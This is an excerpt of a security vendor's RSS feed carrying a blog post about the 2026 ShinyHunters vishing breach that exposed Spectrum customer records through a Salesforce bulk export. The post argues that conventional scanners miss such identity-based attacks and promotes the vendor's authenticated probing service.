<p>The security posture comes from knowing what is exploitable right now.</p>
<p>Security spend, like any capital allocation, should be evaluated on return. The return on a pentest is verified findings and remediated risk. The question is how much exposure you are willing to accept between measurements. See how Sekura fits into your testing program at <a href="https://sekura.ai/vs/manual-pentest/">/vs/manual-pentest/</a>.</p>
]]></content:encoded>
  </item>
  <item>
    <title>Charter breach exposes 13 million Spectrum customers</title>
    <link>https://sekura.ai/blog/breach-charter-communications-2026-05/</link>
    <guid isPermaLink="true">https://sekura.ai/blog/breach-charter-communications-2026-05/</guid>
    <pubDate>Wed, 27 May 2026 08:00:00 +0000</pubDate>
    <description>ShinyHunters used a vishing call to compromise one employee's Microsoft Entra account and bulk-export 13 million Spectrum customer records from Salesforce. No CVE. No scanner would have caught it.</description>
    <content:encoded><![CDATA[<p>Charter Communications confirmed last week that a voice phishing call gave ShinyHunters enough access to export records tied to at least 13 million Spectrum customers.</p>
<p>The incident started on April 1, 2026. ShinyHunters placed a call to a Charter employee and socially engineered their way to valid credentials. That yielded an authenticated Microsoft Entra account. With it, the group accessed Charter&#39;s Salesforce instance and ran bulk data exports. Names, email addresses, phone numbers, home addresses, service plan details, and support ticket histories came out in the export. Charter confirmed the breach after ShinyHunters threatened to release the data unless a ransom was paid.</p>
<p><a href="https://www.bleepingcomputer.com/news/security/charter-confirms-data-breach-after-shinyhunters-extortion-threat/">BleepingComputer reported</a> that ShinyHunters claimed 42 million records total. <a href="https://cybernews.com/security/charter-spectrum-data-breach-millions-exposed/">Cybernews independently analyzed</a> the leaked dataset and confirmed exposure for more than 13 million individuals, with roughly 27,000 employee records also present. Have I Been Pwned registered 4.9 million unique email addresses from the same set. Charter stated that no passwords and no payment information were included, and it contested that customer proprietary network information was in the export.</p>
<p>Two things are worth examining in the reporting.</p>
<h2>What scanners would have missed</h2>
<p>The attack produced no CVE. There was no memory corruption, no injectable field, no outdated library with a patch. ShinyHunters handed off a credential and made a legitimate API call. That attack surface does not appear in a scanner report.</p>
<p>Consider what a DAST tool sees when pointed at Charter&#39;s perimeter. It probes public endpoints without credentials. The Salesforce export API sits behind authentication. Without a valid session, the scanner cannot reach it. Without reaching it, it cannot ask what data comes back when an authenticated user calls the bulk export endpoint.</p>
<p>A SAST tool reads source code. Charter&#39;s customer data lives in Salesforce, a SaaS product. There is no custom code to analyze. The over-permissioned export was a configuration setting in Salesforce, not a bug in compiled logic.</p>
<p>SCA checks third-party library dependencies for known vulnerabilities. ShinyHunters did not exploit a library. They used a legitimate credential to call a legitimate API.</p>
<p>CVSS is not applicable here. There is no CVE to score. The Salesforce export permission that allowed any authenticated employee to download a table of 13 million customer records is not a vulnerability in the CVE taxonomy. It is a configuration choice. The CVSS model has no field for blast radius per compromised account. A scanner that scores everything by CVE will not surface a misconfiguration that only becomes visible from an authenticated session.</p>
<h2>What Sekura would have shown</h2>
<p>Phase 3 of Sekura&#39;s pipeline is dynamic probing. An agent operating with credentials equivalent to a standard employee account probes every authenticated endpoint available from that session, including the Salesforce API surface.</p>
<p>The specific finding Sekura would have produced: a single employee-class Salesforce session can invoke the bulk export endpoint and retrieve the full customer contact table with no additional authorization challenge. Dynamic probing walks the authenticated API surface systematically, calling endpoints and recording what data the server returns.</p>
<p>The finding would contain these items:</p>
<ol>
<li>Endpoint: Salesforce bulk export API, accessed as Employee role session.</li>
<li>Data returned: full name, email, phone, home address, service plan, support ticket history.</li>
<li>Estimated scope: full customer table accessible from any valid employee session.</li>
<li>Blast radius: one socially engineered employee account reaches the entire customer dataset.</li>
<li>Exploit chain: vishing or phishing to account takeover to bulk API call. No privilege escalation required.</li>
</ol>
<p>We would not report this with a CVSS score. We would attach a partial export as a proof artifact. The proof changes the conversation. A severity label on a scanner report does not tell you that one phone call from an attacker reaches 13 million records. A working export showing real field names does.</p>
<pre><code class="language-mermaid">sequenceDiagram
  participant Attacker
  participant Employee as Charter Employee (Entra)
  participant SF as Salesforce Export API
  participant DB as Customer Table
  Attacker-&gt;&gt;Employee: vishing call, harvests credentials
  Employee-&gt;&gt;SF: authenticated session established
  SF-&gt;&gt;DB: no additional authz check on bulk export
  DB--&gt;&gt;Attacker: 13M+ customer records exported
</code></pre>
<h2>The bigger pattern</h2>
<p>Charter is the third major US organization in the past two quarters where ShinyHunters moved from a single compromised identity to a SaaS bulk export without triggering an automated control. The pattern is consistent: a phone call or phishing email yields an authenticated cloud account, the account has access to a SaaS platform, and the SaaS platform has an export API with no per-session volume alert or rate limit.</p>
<p>This is an identity-first attack class. I think the gap that matters is not in your firewall or your application code. It is between your identity provider&#39;s authentication log and your SaaS platform&#39;s data access log. Those two logs are rarely correlated in real time. By the time an analyst sees an anomalous export event, the data is already staged for exfiltration.</p>
<p>The dominant attack surface in 2026 is not exploitable memory. It is over-permissioned SaaS access sitting behind an identity provider that a skilled social engineer can breach with a phone call.</p>
<p>If you want to see what an authenticated API surface looks like from an attacker&#39;s session, <a href="https://sekura.ai/poc/">book a POC</a>.</p>
]]></content:encoded>
  </item>
</channel>
</rss>
